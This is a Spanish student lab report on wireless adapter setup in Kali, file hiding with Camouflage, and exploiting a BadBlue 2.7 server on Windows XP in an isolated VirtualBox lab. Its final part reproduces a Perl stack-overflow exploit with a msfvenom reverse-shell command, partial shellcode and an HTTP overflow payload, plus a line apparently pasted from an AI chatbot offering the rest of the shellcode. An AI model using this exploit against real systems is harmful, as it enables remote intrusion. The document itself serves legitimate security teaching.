Figura  226. Adaptador seleccionado 

El filtro USB que creamos en VirtualBox lo que hace es asignar automáticamente un 

dispositivo USB específico a la máquina virtual, permitiendo conexión persistente y pruebas 

directas.  

7.6. Paso 2: arranca tu máquina virtual de Kali Linux y revisemos si Kali lo está viendo 

Lo primero que debemos lograr es que la máquina virtual detecte el adaptador de red. 

Esto es necesario  porque nos permite confirmar, antes de instalar controladores, que el hardware 

está correctamente enrutado a la VM y que el sistema operativo lo reconoce (por ejemplo, lsusb 

mostró 2357:010c — TP-Link TL-WN722N). Así evitamos instalar controladores incorrectos y 

acortamos la resolución de problemas si surgen incompatibilidades. 

 

Figura  227. Detectmos el adaptador con Lsusb 



 

posteriormente, utilizamos el comando ip a, el cual nos permite listar todas las interfaces 

de red disponibles en la máquina virtual. De esta manera confirmamos que el adaptador 

inalámbrico fue reconocido como una interfaz propia (por ejemplo, wlan0), requisito 

indispensable para poder configurarlo en modo monitor y emplearlo en pruebas de auditoría de 

redes. 

 

Figura  228. Listamos todas las interfaces de red disponibles en la máquina virtual. 

 

Figura  229. Comprobamos que el adaptador TP-Link fue reconocido como wlan0 

Luego empleamos el comando iwconfig, que permite visualizar las interfaces 

inalámbricas y sus características. Con este comprobamos que el adaptador TP-Link fue 



 

reconocido como wlan0, lo cual confirma que el sistema lo identifica como dispositivo Wi-Fi y 

puede configurarse para distintas operaciones. 

 

Figura  230. , Utilizamos el comando dmesg | grep usb para revisar los registros del kernel 

Asimismo, utilizamos el comando dmesg | grep usb para revisar los registros del kernel. 

Con este paso verificamos que el adaptador TP-Link TL-WN722N fue detectado, mostrando su 

identificador USB y confirmando la carga del firmware necesario para su funcionamiento. 

 

Figura  231. Confirmando la carga del firmware 

  



 

7.7. Subcapítulo 3: Instalación de Los Driver Del Adaptador en Kali Linux 

Para instalar los driver de nuestro adaptador, lo primero que debemos hacer es actualizar 

los paquetes y herramientas de nuestro sistema Kali linux, esto lo hacemos con el fin de 

evitarnos futuros problemas de paquetes desactualizados. 

7.7.1 Actualizamos los paquetes de Kali linux 

Con el comandos sudo apt update descargamos los paquetes que no tengamos todavía a 

la mano, es necesario que ingresemos a super usuario o root para realizar este paso, para ello se 

os solicitara la contraseña al momento de ingresar ese comando  

 

Figura  232. Comandos sudo apt update 

Luego ingresamos el comando sudo apt upgrade , este comando lo que hacees actualizar 

toda la paqueteria que tenemos en Kali linux, al ingresarnos nos mostrara una lista de paquetes y 

nos pedir que confirmemos con un si o un no si queremos actualizarlos, si le damos en si 

comenzara a actualizarse. Esto puede tardar un momento en realizarse. 



 

 

Figura  233. Comando sudo apt upgrade 

La figura que verán acontinuacion, muestra como se debe  ver la actualización de los 

paquetes que tenemos en Kali Linux, esto puede demorar de acuerdo a la velocidad de nuestro 

internet. 

 

Figura  234. Actualización de los paquetes.  



 

 

Figura  235. Reiniciamos nuestra maquina  

Después de actualizar estos paquetes ya existentes, lo que se hace es ingresar el comando 

sudo reboot, esto reiniciara nuestra maquina con las nuevas actualizaciones y paquetería lista. 

7.7.2  Instalación de dependencias para la compilación de drivers 

Como 2 paso, lo que necesitamos hacer es usar el comando sudo su, o sudo -s para 

ingresar al modo root; Con este comando y la contraseña ingresamos a este modo, esto lo pueden 

ver en la siguiente imagen. 

 

Figura  236. Ingresamos a modo root 

Luego de esto ejecutamos el comando apt install bc 



 

 

Figura  237.  Comando apt install bc 

Con el comando apt install bc instalamos la calculadora de precisión arbitraria, una 

utilidad de consola que permite realizar operaciones matemáticas avanzadas y que resulta útil en 

pruebas o en scripts para automatizar cálculos dentro de Kali Linux. 

 

Figura  238. Se instalan las herramientas fundamentales de compilación en Linux. 



 

Posteriormente, se ejecutó el comando apt-get install build-essential, mediante el cual 

se instalan las herramientas fundamentales de compilación en Linux. Este paquete agrupa 

compiladores, enlazadores y librerías esenciales que permiten compilar e instalar controladores o 

aplicaciones a partir del código fuente, garantizando así un entorno de desarrollo completo 

dentro de la máquina virtual. 

 

Figura  239. Comando apt-get install libelf-dev, encargado de instalar las librerías de desarrollo 

También se utilizó el comando apt-get install libelf-dev, encargado de instalar las 

librerías de desarrollo ELF. Estas librerías permiten manejar archivos en formato Executable and 

Linkable Format (ELF), ampliamente utilizado en sistemas Linux. Su instalación es necesaria al 

momento de compilar módulos del kernel, tambien nos toco darle si para que continuara 

descargando las librerias. 



 

 

Figura  240. Instalamos los encabezados del kernel 

Finalmente, se empleó el comando apt-get install linux-headers-$(uname -r), el cual 

instala los encabezados del kernel correspondientes a la versión en ejecución, identificada 

dinámicamente con uname -r. Estos archivos proporcionan las definiciones y estructuras internas 

del kernel, resultando imprescindibles para compilar módulos o controladores que deban 

integrarse de manera precisa con la versión actual del sistema operativo. 

7.7.3 Descargamos los driver 

Bueno para descargar los driver lo primero que hicimos fue ingresar con el comando cd 

/home/Kali nos fuimos a la carpeta de usuario Kali. 

 

Figura  241. Ingresamos al directorio kali 

Luego con mkdir /home/Kali/Desktop creamos una carpeta llamada Desktop donde 

guardaremos los driver que clonaremos, lo siguiente que hicimos fue entrar a entra carpera y 

estando aquí ejecutamos el comando git clone https://github.com/SimplyCeo/rtl8188eus.git  



 

esto nos permitió clonar los driver en esa carpeta extrayéndolos de un directorio GitHub  que 

mustran aquí.  

 

Figura  242. Creamos una carpeta llamada Desktop 

7.7.3.1 Configuración del driver para el adaptador WiFi 

 

Figura  243. Comando para ingresar al directorio del driver clonado cd rtl8188eus 



 

Primero fue necesario preparar el sistema para usar el controlador correcto del adaptador 

utilizamos el comando para ingresar al directorio del driver clonado cd rtl8188eus inalámbrico. 

Luego usamos  el comando echo "blacklist r8188eu" > /etc/modprobe.d/realtek.conf  y 

después s creó una regla en el archivo de configuración de modprobe para bloquear el módulo 

genérico r8188eu y evitar conflictos con el nuevo, mediante: echo "blacklist r8188eu" > 

/etc/modprobe.d/realtek.conf 

Posteriormente, en la carpeta del proyecto rtl8188eus, se verificaron los archivos con ls y 

se compiló el módulo con el comando  make. este proceso generó el driver específico para el 

chipset Realtek 8188eus, asegurando su compatibilidad con Kali Linux y permitiendo 

posteriormente su instalación e inicio en modo monitor. 

 

Figura  244. el controlador, se procedió a su instalación en el sistema 



 

Una vez compilado el controlador, se procedió a su instalación en el sistema con los 

siguientes comandos sudo make install lo que hicimos fue Instalar el módulo compilado en el 

kernel de Linux este comando copia el archivo generado 8188eu.ko al directorio de módulos del 

kernel /lib/modules/$(uname -r)/kernel/drivers/net/wireless/ y actualiza las dependencias de los 

módulos con depmod, lo que permite que el sistema reconozca el nuevo controlador en futuros 

arranques. Con esto, el adaptador inalámbrico TP-Link TL-WN722N (chipset Realtek 

RTL8188eus) quedo  listo para ser cargado en el sistema y utilizado en modo monitor. 

 

Figura  245. Dejamos  listo el adaptador inalámbrico 

Después de compilar el controlador, se ejecutó el comando sudo make install para 

instalar el módulo generado en el sistema. Este proceso copia el archivo 8188eu.ko al directorio 

de módulos del kernel (/lib/modules/$(uname -r)/kernel/drivers/net/wireless/) y actualiza las 

dependencias de los módulos, permitiendo que el sistema lo reconozca en futuros reinicios. 

A continuación, con sudo modprobe 8188eu se cargó el módulo en el kernel, activando el 

controlador y dejando listo el adaptador inalámbrico TP-Link TL-WN722N (chipset Realtek 

RTL8188eus) para su uso, incluyendo el modo monitor. 



 

7.7.3.2 Preparación de la interfaz 

 

Figura  246. 1.1.1 Preparación de la interfaz 

Después de compilar el controlador, se ejecutó sudo make install para instalar el módulo 

8188eu.ko en el sistema y actualizar las dependencias del kernel, asegurando que fuera 

reconocido en futuros reinicios. A continuación, con sudo modprobe 8188eu se cargó el 

módulo, dejando el adaptador TP-Link TL-WN722N (chipset Realtek RTL8188eus) listo para su 

uso. 

Para preparar la tarjeta para el modo monitor, se detuvo el servicio NetworkManager con 

sudo systemctl stop NetworkManager y se desactivó la interfaz wlan0 mediante sudo ip link 

set wlan0 down, evitando interferencias. Luego, se ejecutó sudo airmon-ng check kill, que 

finaliza procesos que podrían interferir con la captura de paquetes (como servicios de red o 

demonios de gestión de Wi-Fi), asegurando que la tarjeta funcione correctamente en modo 

monitor. 



 

7.7.3.3 Activación del modo monitor 

 

Figura  247. Activación del modo monitor 

Finalmente, sudo airmon-ng start wlan0 activó el modo monitor, creando la interfaz 

wlan0mon capaz de capturar todo el tráfico inalámbrico, lista para análisis y auditoría de redes. 

Verificación 

 

Figura  248. Realizamos la verificación 

Una vez activado el modo monitor en la interfaz inalámbrica, se utilizó el comando 

iwconfig para comprobar su estado y configuración. Este comando muestra información 

detallada sobre las interfaces de red inalámbricas, incluyendo: 



 

• El nombre de la interfaz y su modo de operación (por ejemplo, Monitor o 

Managed). 

• La frecuencia o canal en el que está operando. 

• La potencia de la señal y otras estadísticas de conexión.  

Con iwconfig se verificó que la tarjeta TP-Link TL-WN722N (chipset Realtek 

RTL8188eus) había sido correctamente puesta en modo monitor (wlan0mon) y estaba lista para 

capturar paquetes de red, confirmando que todos los pasos previos de instalación y configuración 

se habían ejecutado correctamente. 

  



 

8.  Capítulo 8: Ocultación de Archivos Con Camouflage y Auditoría de Vulnerabilidades 

Del Servidor Badblue en Windows XP utilizando Kali Linux Como Maquina Atacante  

 

8.1.Introducción 

El presente informe documenta de manera clara y ordenada el proceso realizado en la 

práctica de laboratorio, donde se llevó a cabo la identificación, análisis y explotación de 

vulnerabilidades en una máquina virtual objetivo (Windows XP con BadBlue) y, a la vez, la 

aplicación de técnicas de ocultación de archivos usando el software Camouflage. Todas las 

pruebas se ejecutaron dentro de un entorno de red configurado en VirtualBox, con máquinas 

aisladas para garantizar que la actividad fuera segura y de carácter exclusivamente académico. 

Durante la práctica se emplearon herramientas como Nmap (para reconocimiento y 

enumeración de servicios), searchsploit (para localizar exploits relevantes), scripts en Perl 

obtenidos de repositorios de exploits, y utilidades como netcat para gestionar listeners y validar 

post-explotación. Paralelamente, se trabajó con VirtualBox para el montaje de carpetas 

compartidas y con Camouflage para insertar y recuperar documentos dentro de imágenes, 

verificando la integridad y el comportamiento de los artefactos generados. 

El objetivo de esta actividad fue aplicar de forma práctica los conceptos de 

ciberseguridad ofensiva vistos en clase: reconocimiento activo de la red, identificación de 

servicios y versiones vulnerables, búsqueda y preparación de exploits, ejecución controlada de 

payloads y la extracción de información en un entorno controlado. Todo el trabajo se realizó 

siguiendo criterios éticos y con la autorización del docente, poniendo énfasis en la 

documentación de los pasos, la trazabilidad de las acciones y las recomendaciones para mitigar 

los riesgos detectado. 



 

8.2.Alcance 

El informe abarca un período de trabajo de cuatro días, comprendido entre el jueves 2 de 

octubre de 2025, finalizando ante dela clase siguiente, cuya fecha límite establecida para la 

entrega oficial del documento fue el jueves 9 del mismo mes. Durante este tiempo se realizaron 

las configuraciones de las máquinas virtuales en VirtualBox, la instalación de las herramientas 

necesarias (Nmap, Camouflage, searchsploit y netcat), la ejecución de las pruebas de 

reconocimiento, explotación y ocultación de archivos, así como la recopilación de evidencias 

mediante capturas de pantalla, salidas de comandos y registros del proceso. Toda la información 

obtenida fue organizada y sistematizada en este informe con el propósito de documentar el 

procedimiento de manera detallada y servir como material de apoyo para futuras evaluaciones o 

prácticas similares. 

  



 

8.3.Objetivos 

8.3.1 General  

Realizar una prueba práctica y controlada en un entorno académico virtualizado que 

combine técnicas de ocultación de información y auditoría de vulnerabilidades empleando el 

software Camouflage para camuflar y recuperar archivos dentro de imágenes, y aplicar 

herramientas de reconocimiento y explotación  con Kali Linux  del servidor BadBlue en 

Windows XP , con el fin de identificar, documentar y proponer recomendaciones sobre las 

debilidades encontradas. 

8.3.2 Específicos  

• Localizar exploits y scripts relevantes (por ejemplo mediante searchsploit), revisar 

y adaptar el código cuando sea necesario, y preparar el entorno de ejecución 

(listeners, rutas, permisos) para pruebas de explotación controladas. 

• Ejecutar el proceso de camuflaje: insertar documentos (PDF, Word) dentro de una 

imagen con Camouflage, protegerlos mediante contraseña, y verificar su 

recuperación (uncamouflage), documentando diferencias observables (p. ej. 

tamaño de archivo). 

• Llevar a cabo una explotación controlada del servicio vulnerable (BadBlue) 

únicamente en el entorno autorizado, documentando cada paso: comando usado, 

salida obtenida, comportamiento del exploit y evidencias de éxito o fallo. 

• Registrar y organizar todas las evidencias (capturas de pantalla, salidas de 

comandos, archivos de configuración y scripts), redactar hallazgos técnicos y 

proponer medidas de mitigación prácticas (actualización, control de acceso.  



 

8.4.Planteamiento Del Problema 

En un entorno cada vez más digitalizado e interconectado, organizaciones, instituciones 

educativas y usuarios particulares dependen en gran medida de sistemas informáticos que 

ofrecen múltiples servicios en red. Esta dependencia amplía la superficie de ataque, es decir, los 

puntos potencialmente explotables por un atacante y, aunque las tecnologías avanzan, persisten 

servicios con configuraciones débiles, versiones obsoletas o vulnerabilidades conocidas que, si 

no se detectan y corrigen a tiempo, pueden ser aprovechadas con relativa facilidad. 

En el contexto formativo, resulta esencial que los estudiantes consoliden los 

conocimientos teóricos mediante prácticas controladas que simulen escenarios reales. No 

obstante, realizar ejercicios de análisis y explotación sobre sistemas productivos reales plantea 

riesgos legales, éticos y operativos. Por ello, el uso de entornos virtualizados (máquinas virtuales 

aisladas y recursos como VirtualBox) y aplicaciones para la práctica responsable (por ejemplo, 

software de ocultación de archivos y máquinas vulnerables de laboratorio) se convierte en una 

necesidad para la enseñanza segura de técnicas de ciberseguridad ofensiva. 

A pesar de la disponibilidad de entornos de práctica, se observa que muchos estudiantes 

presentan dificultades para aplicar de manera correcta y metodológica las herramientas de 

reconocimiento y explotación: desde la configuración de redes virtuales y el montaje de carpetas 

compartidas, hasta la identificación precisa de servicios vulnerables (por ejemplo, servidores 

antiguos como BadBlue sobre Windows XP), la localización y adaptación de exploits, y la 

gestión segura de payloads y evidencias. Este desconocimiento puede generar prácticas 

incompletas, inseguras o poco replicables, que no cumplen con los objetivos educativos ni con 

los estándares éticos del hacking de penetración. 



 

Además, la incorporación de técnicas complementarias como la ocultación de 

información dentro de archivos mediante herramientas tipo Camouflage introduce otro ámbito de 

análisis relevante para la seguridad digital: entender cómo se pueden esconder artefactos dentro 

de objetos aparentemente inofensivos y cómo detectar o mitigar estas técnicas. La falta de 

práctica guiada en estos procedimientos limita la comprensión integral de riesgos asociados a la 

gestión de archivos compartidos y al control de acceso en entornos virtualizados. 

En respuesta a estas carencias, este informe documenta de forma ordenada y práctica un 

ejercicio académico realizado en un entorno aislado: configuración del laboratorio en 

VirtualBox, transferencia e instalación de herramientas, reconocimiento de la red y servicios 

mediante Nmap, búsqueda y preparación de exploits con searchsploit, ejecución controlada de 

pruebas de explotación sobre un servidor BadBlue en Windows XP y prácticas de 

camuflaje/descamuflaje con Camouflage. El propósito es ofrecer una guía replicable que 

fortalezca las competencias técnicas de los estudiantes, fomente metodologías seguras y éticas en 

pruebas de penetración, y sirva como base para propuestas de mitigación que reduzcan la 

exposición a amenazas reales. 

 



 

8.5.Subcapítulo 1: Proceso para camuflar archivos por medio del software Camuflate 

El jueves 1 de octubre de 2025, en la clase de auditoria de redes se estudió la forma de 

camuflar archivos dentro de otros archivos, el siguiente informe mostrara el paso a paso que 

seguimos para lograr este fin.  

8.5.1 Activamos la carpeta compartida  

Antes de comenzar a camuflar nuestros archivos debemos tener archivos, así que lo 

primero que hice fue activar una carpeta compartida, esta me permitiría poder pasar archivos de 

mi máquina virtual xp a mi pc físico y viceversa, así que lo primero que hice fue crear una 

carpeta 

 

Figura  249. Creamos nuestra carpeta compartida 

Luego de mi carpeta llamada docu-MV en mi pc físico, me fui a la máquina virtual a 

realizar el siguiente paso, esto es importante porque me permitirá compartir distintos tipos de 

archivo a mi máquina virtual Windows xp, ya que es el paso que vinculara esta carpeta a esa 

máquina. 

Lo segundo que hice fue ingresar en VirtualBox, ingresé mi máquina virtual cuando 

estuve ahí me fui a la parte superior y en la configuración de mi máquina virtual le di al apartado 

de dispositivos y luego carpeta compartida.  



 

 

Figura  250. Configuramos la carpeta compartida en XP desde VirtualBox 

Luego le di a preferencias de carpetas compartidas  

 

Figura  251. Le damos en preferencias de carpetas compartidas 

Después que le di clic a este apartado me salió en el apartado de configuraciones dentro 

de mi máquina de XP lo siguiente que hice fue bajar hasta la parte de carpetas compartidas y 

aquí  agregué la ruta de mi carpeta compartida 



 

 

Figura  252.Añadimos  nuestra carpeta compartía  en settings 

Para añadir mi carpeta compartida lo primero que hice fue agregarla en dónde se 

encontraba dicha carpeta en mi máquina física para ello le di en ruta de carpeta luego en otro lo 

que me llevó a buscar la ruta en donde estaba la carpeta compartida 

 

Figura  253. Hacemos el proceso de agregar la ruta 

La imagen anterior muestra como hicimos el proceso de agregar la ruta 

 



 

 

Figura  254. Muestra de  la carpeta que se encontraba en la ruta 

La imagen anterior muestra la carpeta que se encontraba en la ruta 

C:\Users\LOCOMPU\OneDrive - UNIVERSIDAD TECNOLOGICA DEL CHOCO 

DIEGO LUIS CORDOBA\Escritorio\9 semestre\3-Seguridas y Auditoria de redes\docu-

VM , esta fue la carpeta qué creamos inicialmente para que fuese nuestra carpeta compartida 

 

Figura  255.Ruta agregada Exitosamente 

aquí muestro la carpeta con su ruta y luego de hacer esto le dimos a aceptar para guardar 

nuestra ruta  



 

 

Figura  256. Visualización preliminar de lo hecho y aceptación de la ruta 

Luego de darle aceptar me salió lo que muestra la anterior figura lo que se hizo fue auto 

montar esta carpeta y le dimos en hacer permanente luego presionamos el botón de aceptar, el 

apartado de punto de montaje lo dejamos en blanco. 

8.5.2 Agregamos la carpeta a XP desde mi pc 

 

Figura  257. Ingresamos al apartado de mi pc en XP 



 

 

Para poder ver la carpeta compartida fui a inicio, después al apartado mi PC para luego 

ver las unidades de disco duro y los dispositivos de almacenamiento extraíble qué estaban en mi 

máquina virtual de XP. 

 

Figura  258. dispositivos de almacenamiento extraíble 

Si bien el apartado de mi PC mostrar varios campos el que me interesaba realmente era el 

de dispositivos de almacenamiento extraible aquí no salió el dispositivo llamado virtual box 

guest addtions (D: ) En este dispositivo se encontraba nuestra carpeta compartida por lo que 

procedemos a darle doble clic. 



 

 

Figura  259. Configuramos la carpeta como disco extraíble 

Al darle doble clic me salió el siguiente pestaña dándonos la bienvenida Oracle 

VirtualBox actions setup aquí le dimos en el botón de next. 

 

Figura  260.Nos  salió la unidad dónde está nuestra carpeta docu-VM 

Después de un rato de que cargara esto no salió la unidad dónde está nuestra carpeta 

docu-VM, por como lo veo yo esto es un túnel de red que nos permite compartir archivos desde 

una carpeta a otra nuestra máquina virtual por medio de una conexión de red. 



 

8.5.2.1 Agregamos archivos a la carpeta Compartida  

Después de realizar este paso a paso probamos anexar archivos a XP, luego revisamos 

que los archivos anexados a nuestra carpeta compartida hoy se pudieran descargar desde hoy 

nuestra máquina virtual. 

 

Figura  261. Agregamos lo Archivos 

Siendo más específico en la carpeta docu-MV agrega 6 archivos hubo una carpeta 

llamada clase dos octubre 2025, un archivo tipo texto llamado config-MV,  una imagen llamada 

descarga y dos informes 1 en formato Word editable y otro en Formato PDF. 

 

Figura  262. Archivos dentro de la carpeta Clase 2 octubre 



 

Por su parte,  la carpeta clase dos octubre 2025 contaba con 5 archivos de los cual se 

destacaba Adobe Flash player, Internet Explorer 8 para XP, VLC Studio, camou y badblue. 

 

Figura  263. Buscamos los archivos en XP 

Para poder mirar estos archivos desde nuestro otra máquina virtual de Windows XP 

debemos ir a mi PC y ingresar a el almacenamiento de red que él dónde está almacenada nuestra 

carpeta compartida la foto anterior muestra los archivos desde Windows XP en la carpeta docu-

VM. 

 

Figura  264.  Programas contenidos en la carpeta dada por el profe 



 

Por otro lado, esta imagen muestra los archivos de la carpeta clase 2 de octubre En 

Windows XP aquí evidenciamos que todo funciona correctamente y la carpeta de archivos 

compartidos muestra los archivos que en su efecto se están compartiendo. 

8.5.3 Instalación de programas importados desde el pc físico incluido camouflage 

Ya habiendo importado los programas de la carpeta clase dos procedemos a instalarlos 1 a 

1 estos programas fueron proporcionados por el docente e ingeniero Sandoval Morales y él 

mismo nos solicitó qué los instalar por lo que procedí a instalarlos. 

 

Figura  265. Instalamos Adobe Render 

El primer programa que instale fue Adobe render o Flash Player ya que éste se podría 

decir que es el predecesor de Adobe flash player por eso esta imagen anterior muestra parte de 

esa instalación. 

 

Figura  266. Instalamos Camouflage 



 

Por su parte esta captura muestra la instalación de nuestro aplicativo de camuflaje en la 

computadora virtual, este será el aplicativo que nos permitirá camuflar datos dentro de otros 

archivos y consideraría yo qué sería uno de los 2 aplicativo más importante de los que se 

instalaron. 

 

Figura  267. Instalamos VLC y los otros software faltantes. 

Por último, instalamos lo que vendría siendo el software del VLC, el software de badblue 

y de Internet Explorer.  

8.5.4 Identificación de la cantidad de archivos que podemos camuflar en camou 

8.5.4.1 ¿Cómo se hace el proceso de camuflaje con Camouflage? 

 

Figura  268. Elegimos Los archivos a camuflar 



 

Lo primero que tenemos que saber es cómo se realiza el camuflaje de archivos dentro de 

distintos archivos en camou, para ello lo que hicimos fue realizar una práctica en el salón que 

consistió en tomar la imagen que guardamos en la carpeta compartida y dentro de esta hola 

imagen guardamos los dos informes tanto en formato PDF como en formato Word editable tal 

como lo muestra las siguientes imágenes. 

Lo primero que hicimos fue seleccionar los dos archivos tanto en Word Como en PDF , 

estos archivos correspóndeme al informe número 5 realizado luego de esto le dimos en siguiente 

o next. 

 

Figura  269. Le damos en Next 

Después de darle next, No sale el siguiente recuadro aquí elegiremos el archivo en donde 

se camuflarán los archivos anteriormente elegidos, yo elegí  la imagen que guardamos 

inicialmente dentro de la carpeta compartida.  



 

 

Figura  270. Agregamos la ruta en donde se va a camuflar 

Luego se nos solicita ingresar una contraseña para este caso la contraseña será la palabra 

prueba 

 

Figura  271. Configuramos la contraseña 

Por último, al ingresar la contraseña y darle al finalizar dos saldrá un archivo o una 

imagen en formato png,  la cual tendrá camuflado los anteriores archivos para des camuflar estos 

archivos haremos lo siguiente. 



 

 

Figura  272. Descamuflamos los archivos 

para descargar los archivos simplemente tendremos que darle en el izquierdo y al 

apartado de camuflar luego se nos creará una carpeta en la cual estarán anexados los dos archivos 

no 13 que si bien hoy los archivos están camuflados en dicha imagen se puede identificar ya que 

el peso de la imagen tiende a aumentar. 

Aquí haremos una demostración entre la imagen original y la imagen con los archivos 

camuflados  

 

Figura  273. Demostración entre la imagen original y la imagen con los archivos camuflados 

 

Además, Mostraré la imagen en dónde se descamuflan los archivos antes camuflados.  



 

8.5.5 Descamuflamos los archivos 

 

Figura  274. Damos clic izquierdo a la imagen  y darle en la opción uncamouflage. 

El primer paso para el descamuflar es darle clic izquierdo y darle en la opción 

uncamouflage. 

 

Figura  275. Elegir el folder o la carpeta en donde queremos almacenar nuestros archivos 



 

Luego que se nos abra el cual recuadro para elegir el folder o la carpeta en donde 

queremos almacenar nuestros archivos en  la carpeta de destino que queramos para mi caso yo 

cree una nueva carpeta llamada archivos. 

 

Figura  276. Le doy hola guardar, luego finalizar y nuestros archivos anexarán a esta carpeta 

por último, le doy hola guardar, luego finalizar y nuestros archivos anexarán a esta 

carpeta es importante saber que para el descamuflar los archivos de veremos utilizar la 

contraseña de qué configuramos o creamos anteriormente. 

Tabla  7. cuántos archivos de cada tipo caben en camouflage 

Archivos 
Tamaño  

(KB) 

JPG (500 

KB) 

Word (100 

KB) 

PDF (1000 

KB) 

EXE (50 

000 KB) 

PNG / JPG (imagen 

mediana) 
2 000 4 20 2 0 

GIF animado / PDF 

grande 
5 000 10 50 5 0 

MP3 (audio) 10 000 20 100 10 0 

EXE (ejecutable 

grande) 
50 000 100 500 50 1 

MP4 (video) 100 000 200 1 000 100 2 

 

 

  



 

8.6.Subcapítulo 2: Hacking ético de badblue  

Antes de comenzar con cualquier intento de explotación, necesitaba asegurarme de que la 

máquina objetivo estuviera activa y accesible desde mi entorno de ataque. Así que lo primero que 

hice fue abrir mi terminal en Kali Linux y ejecutar el comando ping 192.1.1.7 este paso puede 

parecer básico, pero es fundamental. Me permitió confirmar que la máquina con la IP 192.1.1.7 

estaba encendida y conectada a la red. 

8.6.1 Identificamos la IP y los servicios vulnerables de la maquina 

8.6.1.1 Proceso de recopilación de información   

 

Figura  277. Probamos la comunicación dando ping de una maquina a otra 

Una vez confirmé que la máquina objetivo estaba activa, lo siguiente que necesitaba era 

saber qué más había en la red. Así que abrí mi terminal en Kali y lancé un escaneo con Nmap 

utilizando el comando nmap -sV 192.1.1.0/24 este comando me permitió escanear todo el rango 

de IPs de la red local y además identificar qué servicios estaban corriendo en cada máquina. El 

parámetro -sV es clave, porque no solo me dice qué puertos están abiertos, sino también qué 

servicios están detrás de ellos.  



 

 

Figura  278.  Hacemos un escaneo general con nmap 

Los resultados fueron interesantes, pero lo más importante fue 192.1.1.7: esta máquina 

tenía el puerto 80 abierto, y el servicio que aparecía era BadBlue http. Justo lo que estaba 

buscando. 

 

Figura  279. Hacemos un escaneo a la ip de XP 

 



 

Después de identificar la IP del objetivo, ejecuté un escaneo con Nmap directo a la ip 

192.1.1.7 usando el comando nmap -sV 192.1.1.7. El resultado confirmó que la máquina corre 

Windows XP y tiene varios puertos abiertos, incluyendo el 80, donde se encuentra activo el 

servidor BadBlue HTTP 2.7. Esta información es importante, ya que me permite saber que 

ataques podrían ser efectivos y confirma que el servidor vulnerable está listo para ser analizado y 

explotado. 

8.6.2 Verificamos que el servicio BadBlue si este activo 

 

Figura  280. Verificamos que el servicio este arriba 

Lo siguiente que hice fue verificar que el servicio de BadBlue estuviera funcionando 

correctamente. Para eso, ingresé a la máquina virtual con Windows XP y ejecuté el software 

BadBlue, que ya habíamos instalado previamente cuando configuramos la carpeta compartida 

llamada docu-VM.  



 

 

Figura  281. Probamos  y acceder con http://192.1.1.7  

Al abrir el navegador y acceder a http://192.1.1.7, pude ver la interfaz web del servidor 

BadBlue activa. Esto me confirmó que el servicio estaba corriendo localmente y que los archivos 

compartidos desde la carpeta estaban disponibles para ser accedidos o manipulados desde el 

navegador. Con esto, ya tenía todo listo para comenzar la fase de análisis y explotación del 

servidor. 

8.6.3 Comenzamos el proceso de explotación especifico  

 

Figura  282. Servidor web respondiendo correctamente desde mi máquina Kali. 



 

Después de confirmar que BadBlue estaba corriendo en Windows XP, lo primero que se 

me ocurrió hacer fue escalar privilgios así que use el comando sudo su y la cave de mi maquina 

para entrar a modo root ,luego  quise asegurarme de que el servidor web estuviera respondiendo 

correctamente desde mi máquina Kali. Para eso, ejecuté el siguiente comando curl -I 

http://192.1.1.7:80/ en la termina, este comando me permitió obtener solo las cabeceras HTTP 

del servidor, sin descargar el contenido completo. 

 

Figura  283. consultar la base de datos de Exploit-DB directamente desde Kali. 

Use el comando searchsploit BadBlue 2.7 este comando me permitió consultar la base 

de datos de Exploit-DB directamente desde Kali. Los resultados fueron bastante útiles porque 

encontré varios exploits relacionados con BadBlue 2.72, incluyendo uno de desbordamiento de 

búfer remoto (PassThru) y otros que mencionaban vulnerabilidades múltiples. También 

aparecieron algunos exploits para versiones anteriores como la 1.2.7, pero mi enfoque estaba en 

los que aplicaban directamente a la versión 2.7 que estaba corriendo en el servidor. Con esta 

información, ya tenía claro qué tipo de ataque podía intentar a continuación. 

 



 

 

Figura  284. , Usé el comando searchsploit -p windows/remote/4784.pl 

Después de encontrar el exploit para BadBlue, usé el comando searchsploit -p 

windows/remote/4784.pl Esto me mostró que el exploit es un script. También me dio la ruta 

exacta donde está guardado en Kali. Con esta información 

 

Figura  285. Subir de directorio en la terminal, hasta llegar al directorio raíz /. 

Después de preparar el exploit, lo siguiente que hice fue navegar por el sistema de 

archivos en Kali. Usé el comando cd .. para subir de directorio en la terminal, hasta llegar al 

directorio raíz /.  



 

 

Figura  286. Se movió el archivo del repositorio de exploits de Kali a mi carpeta de trabajo 

Una vez identificado el exploit que quería usar, lo copié a mi directorio actual con el 

comando cp /usr/share/exploitdb/exploits/windows/remote/4784.pl . Esto movió el archivo del 

repositorio de exploits de Kali a mi carpeta de trabajo. Luego ejecuté ls para verificar que el 

archivo estuviera ahí, y efectivamente apareció 4784.pl junto con otras carpetas del sistema. Con 

el exploit ya copiado, estaba listo para editarlo o ejecutarlo según fuera necesario. 

 

Figura  287. Usé el comando nano 4784.pl Esto me permitió ver que el script 



 

Con el exploit ya copiado en mi directorio de trabajo, lo siguiente que hice fue abrirlo 

para revisar su contenido. Usé el comando nano 4784.pl Esto me permitió ver que el script está 

escrito en Perl y que se trata de un exploit para un desbordamiento de pila en BadBlue 2.72, 

También ejecuté cat 4784.pl para visualizar rápidamente el contenido en la terminal. Con esto, 

ya tenía claro cómo funcionaba el exploit y estaba listo para probarlo.  

 
Figura  288. Mostramos el encabezado del scrip y adjuntamos lo demás 

 

#!/usr/bin/perl 

use IO::Socket; 

 

# Configuración 

my $target = $ARGV[0]; 

my $port = $ARGV[1]; 

 

if (!defined($target) || !defined($port)) { 

    print "Uso: $0 <IP_objetivo> <puerto>\n"; 

    exit; 

} 

 

print "[+] Enviando exploit a $target:$port...\n"; 

 

# Shellcode generado con msfvenom: 

# msfvenom -p windows/shell_reverse_tcp LHOST=192.1.1.13 LPORT=4444 

EXITFUNC=thread -f perl -b "\x00\x0a\x0d" 

my $shellcode = 

"\xdb\xc0\xd9\x74\x24\xf4\x5e\xba\xae\x2e\x4b\x3e\x31\xc9\xb1". 

"\x52\x31\x56\x17\x83\xc6\x04\x03\x0e\x3e\x3e\x3f\x52\xd6\x3c". 

"..."; # ← Aquí iría el shellcode completo (puedo darte el resto si lo 

necesitas) 

 

# Payload HTTP malicioso 



 

my $payload = "GET /" . "A" x 4061 . $shellcode . " HTTP/1.1\r\n"; 

$payload .= "Host: $target\r\n"; 

$payload .= "Connection: close\r\n\r\n"; 

 

# Enviar el payload 

my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $port, 

Proto => "tcp") or die "[-] No se pudo conectar: $!"; 

print $sock $payload; 

close($sock); 

 

